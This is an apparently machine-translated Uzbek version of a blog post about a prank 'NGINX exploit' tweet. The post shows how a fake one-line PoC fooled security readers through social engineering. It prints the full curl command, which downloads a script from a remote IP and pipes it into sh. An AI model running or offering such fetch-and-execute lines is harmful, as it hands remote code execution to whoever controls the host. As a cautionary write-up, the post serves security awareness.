Eslatma. tarjima.:
TL; DR: Hech qanday holatda sh yoki bash da fayl quvurlarini ishlatmang. Bu sizning kompyuteringiz ustidan nazoratni yo'qotishning ajoyib usuli.
Men siz bilan 31-may kuni yaratilgan kulgili PoC ekspluatatsiyasi haqida qisqacha hikoyani baham ko'rmoqchiman. U xabarlarga javoban darhol paydo bo'ldi
Curl-da yangi chalkashlik texnikasi ustida ishlashni tugatgandan so'ng, men asl tvitdan iqtibos keltirdim va aniqlangan zaiflikdan foydalanadigan yagona kod qatoridan iborat "ishlaydigan PoC-ni sizdirib yubordim". Albatta, bu mutlaqo bema'nilik edi. Men darhol fosh bo'laman va eng yaxshi holatda bir nechta retvitlar olaman deb o'ylagandim (ha, yaxshi).
Biroq, keyin nima bo'lganini tasavvur qila olmadim. Mening tvitimning mashhurligi keskin oshdi. Ajablanarlisi shundaki, hozirda (Moskva vaqti bilan 15-iyun 00:1) bu soxta ekanligini kam odam tushungan. Ko'p odamlar uni tekshirmasdan retvit qilishadi (uning ajoyib ASCII grafikasiga qoyil qolish u yoqda tursin).
Qarang, u qanchalik go'zal!
Bu ko'chadan va ranglarning barchasi ajoyib bo'lsa-da, odamlar ularni ko'rish uchun o'z mashinasida kod ishlatishlari kerakligi aniq. Yaxshiyamki, brauzerlar xuddi shunday ishlaydi va men huquqiy muammoga duch kelishni istamaganligim bilan bir qatorda, mening saytimda ko'milgan kod hech qanday qo'shimcha kodni o'rnatish yoki bajarishga urinmasdan faqat aks-sado qo'ng'iroqlarini amalga oshirardi.
Kichik chekinish:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Ijtimoiy-elektron muhandislik (SEE) - shunchaki fishing emas
Xavfsizlik va tanishlik bu tajribaning asosiy qismi edi. Menimcha, ular uning muvaffaqiyatiga olib keldi. Buyruqlar qatori "127.0.0.1" (taniqli localhost) ga murojaat qilib, xavfsizlikni aniq nazarda tutgan. Localhost xavfsiz hisoblanadi va undagi ma'lumotlar hech qachon kompyuteringizni tark etmaydi.
Tanishish tajribaning ikkinchi asosiy SEE komponenti edi. Maqsadli auditoriya birinchi navbatda kompyuter xavfsizligi asoslari bilan tanish bo'lgan odamlardan iborat bo'lganligi sababli, uning qismlari tanish va tanish (va shuning uchun xavfsiz) bo'lib tuyulishi uchun kod yaratish muhim edi. Eski ekspluatatsiya kontseptsiyalarining elementlarini olish va ularni noodatiy tarzda birlashtirish juda muvaffaqiyatli bo'ldi.
Quyida bitta chiziqning batafsil tahlili keltirilgan. Ushbu ro'yxatdagi hamma narsa kiyiladi kosmetik tabiat, va uning haqiqiy ishlashi uchun amalda hech narsa talab qilinmaydi.
Qanday komponentlar haqiqatan ham zarur? Bu -gsS
, -O 0x0238f06a
, |sh
va veb-serverning o'zi. Veb-serverda hech qanday zararli ko'rsatmalar yo'q edi, faqat buyruqlar yordamida ASCII grafiklariga xizmat ko'rsatdi echo
tarkibidagi skriptda index.html
. Foydalanuvchi bilan qatorga kirganda |sh
o'rtasida, index.html
yuklangan va bajarilgan. Yaxshiyamki, veb-server qo'riqchilarining yomon niyatlari yo'q edi.
-
../../../%00
— katalogdan tashqariga chiqishni ifodalaydi; -
ngx_stream_module.so
— tasodifiy NGINX moduliga yo'l; -
/bin/sh%00<'protocol:TCP'
- go'yoki ishga tushiryapmiz/bin/sh
maqsadli mashinada va chiqishni TCP kanaliga yo'naltirish; -
-O 0x0238f06a#PLToffset
- maxfiy ingredient, to'ldirilgan#PLToffset
, qandaydir tarzda PLT tarkibidagi xotira ofsetiga o'xshash; -
|sh;
- yana bir muhim parcha. Quyidagi manzilda joylashgan hujum qiluvchi veb-serverdan keladigan kodni bajarish uchun chiqishni sh/bash ga yo'naltirishimiz kerak edi.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat murojaat qiladigan qo'g'irchoq/dev/tcp/localhost
Shunday qilib, hamma narsa yana xavfsiz ko'rinadi. Aslida, u hech narsa qilmaydi va go'zallik uchun qatorga kiritilgan.
Bu bir qatorli skriptning dekodlanishi va "ijtimoiy-elektron muhandislik" (murakkab fishing) jihatlarini muhokama qilishni yakunlaydi.
Veb-server konfiguratsiyasi va qarshi choralar
Mening obunachilarimning aksariyati infosec/hackerlar bo'lganligi sababli, men veb-serverni ularning "qiziqish" ifodalariga nisbatan chidamliroq qilishga qaror qildim, shunda yigitlar nimadir qilishlari mumkin (va bu qiziqarli bo'lar edi). sozlash; o'rnatish). Tajriba hali ham davom etayotgani uchun men bu erda barcha tuzoqlarni sanab o'tmoqchi emasman, lekin bu erda server bajaradigan bir nechta narsa:
- Muayyan ijtimoiy tarmoqlarda tarqatish urinishlarini faol ravishda kuzatib boradi va foydalanuvchini havolani bosishga undash uchun oldindan ko'rishning turli eskizlarini almashtiradi.
- Chrome/Mozilla/Safari/etc-ni qobiq skriptini ko'rsatish o'rniga Thugcrowd reklama videosiga yo'naltiradi.
- Ochiq bosqin/ochiq xakerlik belgilarini kuzatadi va so'ngra so'rovlarni NSA serverlariga yo'naltirishni boshlaydi (ha!).
- Foydalanuvchilari xostga oddiy brauzerdan tashrif buyuradigan barcha kompyuterlarga troyanni, shuningdek, BIOS rootkitini o'rnatadi (shunchaki hazil!).
Antimerlarning kichik bir qismi
Bunday holda, mening yagona maqsadim Apache-ning ba'zi xususiyatlarini, xususan, so'rovlarni qayta yo'naltirishning ajoyib qoidalarini o'zlashtirish edi va men o'yladim: nima uchun?
NGINX Exploit (Haqiqiy!)
Obuna bo'lish
Manba: www.habr.com